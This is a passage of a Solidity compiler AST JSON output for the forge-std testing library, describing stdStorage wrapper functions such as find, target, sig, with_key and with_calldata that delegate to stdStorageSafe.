stdStorageSafe)"}},"id":8836,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13223:4:8","memberName":"find","nodeType":"MemberAccess","referencedDeclaration":8090,"src":"13208:19:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8839,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13208:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8840,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"13242:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"13208:38:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8834,"id":8841,"nodeType":"Return","src":"13201:45:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"13121:4:8","parameters":{"id":8831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8828,"mutability":"mutable","name":"self","nameLocation":"13145:4:8","nodeType":"VariableDeclaration","scope":8843,"src":"13126:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8827,"nodeType":"UserDefinedTypeName","pathNode":{"id":8826,"name":"StdStorage","nameLocations":["13126:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13126:10:8"},"referencedDeclaration":7427,"src":"13126:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8830,"mutability":"mutable","name":"_clear","nameLocation":"13156:6:8","nodeType":"VariableDeclaration","scope":8843,"src":"13151:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8829,"name":"bool","nodeType":"ElementaryTypeName","src":"13151:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"13125:38:8"},"returnParameters":{"id":8834,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8833,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8843,"src":"13182:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8832,"name":"uint256","nodeType":"ElementaryTypeName","src":"13182:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13181:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8861,"nodeType":"FunctionDefinition","src":"13259:156:8","nodes":[],"body":{"id":8860,"nodeType":"Block","src":"13355:60:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8856,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8846,"src":"13394:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8857,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8848,"src":"13400:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":8854,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13372:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8855,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13387:6:8","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8110,"src":"13372:21:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":8858,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13372:36:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8853,"id":8859,"nodeType":"Return","src":"13365:43:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"target","nameLocation":"13268:6:8","parameters":{"id":8849,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8846,"mutability":"mutable","name":"self","nameLocation":"13294:4:8","nodeType":"VariableDeclaration","scope":8861,"src":"13275:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8845,"nodeType":"UserDefinedTypeName","pathNode":{"id":8844,"name":"StdStorage","nameLocations":["13275:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13275:10:8"},"referencedDeclaration":7427,"src":"13275:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8848,"mutability":"mutable","name":"_target","nameLocation":"13308:7:8","nodeType":"VariableDeclaration","scope":8861,"src":"13300:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8847,"name":"address","nodeType":"ElementaryTypeName","src":"13300:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13274:42:8"},"returnParameters":{"id":8853,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8852,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8861,"src":"13335:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8851,"nodeType":"UserDefinedTypeName","pathNode":{"id":8850,"name":"StdStorage","nameLocations":["13335:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13335:10:8"},"referencedDeclaration":7427,"src":"13335:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13334:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8879,"nodeType":"FunctionDefinition","src":"13421:143:8","nodes":[],"body":{"id":8878,"nodeType":"Block","src":"13510:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8874,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8864,"src":"13546:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8875,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8866,"src":"13552:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":8872,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13527:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8873,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13542:3:8","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8130,"src":"13527:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":8876,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13527:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8871,"id":8877,"nodeType":"Return","src":"13520:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"13430:3:8","parameters":{"id":8867,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8864,"mutability":"mutable","name":"self","nameLocation":"13453:4:8","nodeType":"VariableDeclaration","scope":8879,"src":"13434:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8863,"nodeType":"UserDefinedTypeName","pathNode":{"id":8862,"name":"StdStorage","nameLocations":["13434:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13434:10:8"},"referencedDeclaration":7427,"src":"13434:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8866,"mutability":"mutable","name":"_sig","nameLocation":"13466:4:8","nodeType":"VariableDeclaration","scope":8879,"src":"13459:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":8865,"name":"bytes4","nodeType":"ElementaryTypeName","src":"13459:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"13433:38:8"},"returnParameters":{"id":8871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8870,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8879,"src":"13490:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8869,"nodeType":"UserDefinedTypeName","pathNode":{"id":8868,"name":"StdStorage","nameLocations":["13490:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13490:10:8"},"referencedDeclaration":7427,"src":"13490:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13489:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8897,"nodeType":"FunctionDefinition","src":"13570:150:8","nodes":[],"body":{"id":8896,"nodeType":"Block","src":"13666:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8892,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8882,"src":"13702:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8893,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8884,"src":"13708:4:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":8890,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13683:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13698:3:8","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8152,"src":"13683:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_string_memory_ptr_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,string memory) returns (struct StdStorage storage pointer)"}},"id":8894,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13683:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8889,"id":8895,"nodeType":"Return","src":"13676:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"13579:3:8","parameters":{"id":8885,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8882,"mutability":"mutable","name":"self","nameLocation":"13602:4:8","nodeType":"VariableDeclaration","scope":8897,"src":"13583:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8881,"nodeType":"UserDefinedTypeName","pathNode":{"id":8880,"name":"StdStorage","nameLocations":["13583:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13583:10:8"},"referencedDeclaration":7427,"src":"13583:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8884,"mutability":"mutable","name":"_sig","nameLocation":"13622:4:8","nodeType":"VariableDeclaration","scope":8897,"src":"13608:18:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":8883,"name":"string","nodeType":"ElementaryTypeName","src":"13608:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13582:45:8"},"returnParameters":{"id":8889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8888,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8897,"src":"13646:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8887,"nodeType":"UserDefinedTypeName","pathNode":{"id":8886,"name":"StdStorage","nameLocations":["13646:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13646:10:8"},"referencedDeclaration":7427,"src":"13646:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13645:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8915,"nodeType":"FunctionDefinition","src":"13726:152:8","nodes":[],"body":{"id":8914,"nodeType":"Block","src":"13820:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8910,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8900,"src":"13861:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8911,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8902,"src":"13867:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":8908,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13837:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8909,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13852:8:8","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8203,"src":"13837:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":8912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13837:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8907,"id":8913,"nodeType":"Return","src":"13830:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"13735:8:8","parameters":{"id":8903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8900,"mutability":"mutable","name":"self","nameLocation":"13763:4:8","nodeType":"VariableDeclaration","scope":8915,"src":"13744:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8899,"nodeType":"UserDefinedTypeName","pathNode":{"id":8898,"name":"StdStorage","nameLocations":["13744:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13744:10:8"},"referencedDeclaration":7427,"src":"13744:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8902,"mutability":"mutable","name":"who","nameLocation":"13777:3:8","nodeType":"VariableDeclaration","scope":8915,"src":"13769:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8901,"name":"address","nodeType":"ElementaryTypeName","src":"13769:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13743:38:8"},"returnParameters":{"id":8907,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8906,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8915,"src":"13800:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8905,"nodeType":"UserDefinedTypeName","pathNode":{"id":8904,"name":"StdStorage","nameLocations":["13800:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13800:10:8"},"referencedDeclaration":7427,"src":"13800:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13799:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8933,"nodeType":"FunctionDefinition","src":"13884:152:8","nodes":[],"body":{"id":8932,"nodeType":"Block","src":"13978:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8928,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8918,"src":"14019:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8929,"name":"amt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8920,"src":"14025:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8926,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"13995:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8927,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14010:8:8","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8228,"src":"13995:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":8930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13995:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8925,"id":8931,"nodeType":"Return","src":"13988:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"13893:8:8","parameters":{"id":8921,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8918,"mutability":"mutable","name":"self","nameLocation":"13921:4:8","nodeType":"VariableDeclaration","scope":8933,"src":"13902:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8917,"nodeType":"UserDefinedTypeName","pathNode":{"id":8916,"name":"StdStorage","nameLocations":["13902:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13902:10:8"},"referencedDeclaration":7427,"src":"13902:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8920,"mutability":"mutable","name":"amt","nameLocation":"13935:3:8","nodeType":"VariableDeclaration","scope":8933,"src":"13927:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8919,"name":"uint256","nodeType":"ElementaryTypeName","src":"13927:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13901:38:8"},"returnParameters":{"id":8925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8924,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8933,"src":"13958:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8923,"nodeType":"UserDefinedTypeName","pathNode":{"id":8922,"name":"StdStorage","nameLocations":["13958:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"13958:10:8"},"referencedDeclaration":7427,"src":"13958:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"13957:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8951,"nodeType":"FunctionDefinition","src":"14042:152:8","nodes":[],"body":{"id":8950,"nodeType":"Block","src":"14136:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8946,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8936,"src":"14177:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8947,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8938,"src":"14183:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8944,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14153:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8945,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14168:8:8","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8250,"src":"14153:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes32) returns (struct StdStorage storage pointer)"}},"id":8948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14153:34:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8943,"id":8949,"nodeType":"Return","src":"14146:41:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"14051:8:8","parameters":{"id":8939,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8936,"mutability":"mutable","name":"self","nameLocation":"14079:4:8","nodeType":"VariableDeclaration","scope":8951,"src":"14060:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8935,"nodeType":"UserDefinedTypeName","pathNode":{"id":8934,"name":"StdStorage","nameLocations":["14060:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14060:10:8"},"referencedDeclaration":7427,"src":"14060:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8938,"mutability":"mutable","name":"key","nameLocation":"14093:3:8","nodeType":"VariableDeclaration","scope":8951,"src":"14085:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8937,"name":"bytes32","nodeType":"ElementaryTypeName","src":"14085:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"14059:38:8"},"returnParameters":{"id":8943,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8942,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8951,"src":"14116:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8941,"nodeType":"UserDefinedTypeName","pathNode":{"id":8940,"name":"StdStorage","nameLocations":["14116:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"14116:10:8"},"referencedDeclaration":7427,"src":"14116:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"14115:20:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8969,"nodeType":"FunctionDefinition","src":"14200:179:8","nodes":[],"body":{"id":8968,"nodeType":"Block","src":"14310:69:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8964,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8954,"src":"14356:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":8965,"name":"_calldata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8956,"src":"14362:9:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":8962,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"14327:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":8963,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14342:13:8","memberName":"with_calldata","nodeType":"MemberAccess","referencedDeclaration":8172,"src":"14327:28:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes_memory_ptr_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes memory) returns (struct StdStorage storage pointer)"}},"id":8966,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14327:45:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage 